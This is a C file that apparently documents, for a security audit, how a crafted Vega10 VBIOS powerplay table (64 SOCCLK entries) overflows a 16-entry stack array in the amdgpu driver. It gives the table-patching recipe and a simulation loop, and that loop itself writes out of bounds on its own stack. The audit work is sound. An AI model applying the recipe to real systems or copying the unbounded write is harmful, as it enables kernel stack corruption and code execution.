/*
 * DF-3701 trigger documentation — NOT runnable on the audit guest (virtio-only).
 *
 * The "input" for this bug is a crafted ATOM_Vega10_POWERPLAYTABLE inside the dGPU
 * VBIOS ROM image. This file documents the exact blob shape an attacker flashes
 * (or serves via a doctored passthrough card) and the two userspace-visible effects.
 *
 * Crafted-table recipe (patch offsets inside the Vega10 powerplay table):
 *   ATOM_Vega10_SOCCLK_Dependency_Table.ucNumEntries = 64      (was 8)
 *   each entry: ulClk = 0x0100000 + i*0x10000 (nonzero, 10kHz units), ucVddInd = 0
 *   likewise optionally ATOM_Vega10_MCLK_Dependency_Table.ucNumEntries = 24
 *
 * On a real Vega10 box this produces, at amdgpu display init:
 *   dm_pp_get_clock_levels_by_type_with_latency (amdgpu_dm_pp_smu.c:375, stack struct)
 *     -> pp_get_clock_by_type_with_latency -> vega10_get_socclocks (vega10_hwmgr.c:4186)
 *        for (i = 0; i < 64; i++) clocks->data[i] = ...   // data[16] on the STACK
 *   => 64*8 bytes written into a 132-byte stack object -> frame/return-address smash.
 *   For MCLK (ucNumEntries>8) vega10_get_memclocks additionally heap-overflows
 *   data->mclk_latency_table.entries[8] inside struct vega10_hwmgr (:4151).
 *
 * Host-side check (no GPU needed) — compile-time demonstration of the bound mismatch:
 *   the getter loop bound is dep_table->count (uint8, <=255);
 *   the destination is data[PP_MAX_CLOCK_LEVELS=16] (include/dm_pp_interface.h:28).
 */
#include <stdio.h>
#define PP_MAX_CLOCK_LEVELS 16
struct pp_clock_with_latency { unsigned clocks_in_khz, latency_in_us; };
struct pp_clock_levels_with_latency { unsigned num_levels; struct pp_clock_with_latency data[PP_MAX_CLOCK_LEVELS]; };

int main(void)
{
	/* Simulate vega10_get_socclocks with a crafted-table count of 64. */
	struct pp_clock_levels_with_latency stack_clocks = {0};      /* what amdgpu_dm puts on its frame */
	unsigned dep_count = 64;                                     /* ucNumEntries, uint8, attacker-set  */
	unsigned i, over = 0;

	for (i = 0; i < dep_count; i++) {                            /* vega10_hwmgr.c:4186-4190 verbatim */
		if (i >= PP_MAX_CLOCK_LEVELS) over++;
		stack_clocks.data[i].clocks_in_khz = 0x1000000 + i;      /* would already be OOB */
		stack_clocks.num_levels++;
	}
	printf("simulated writes=%u, OOB-writes-beyond-data[16]=%u -> stack frame smashed\n",
	       dep_count, over);
	printf("on real Vega10 hw this is a kernel stack overflow at driver/DC init.\n");
	printf("(Guest cannot run the real path: virtio-only, 0 AMD PCI devices.)\n");
	return 0;
}
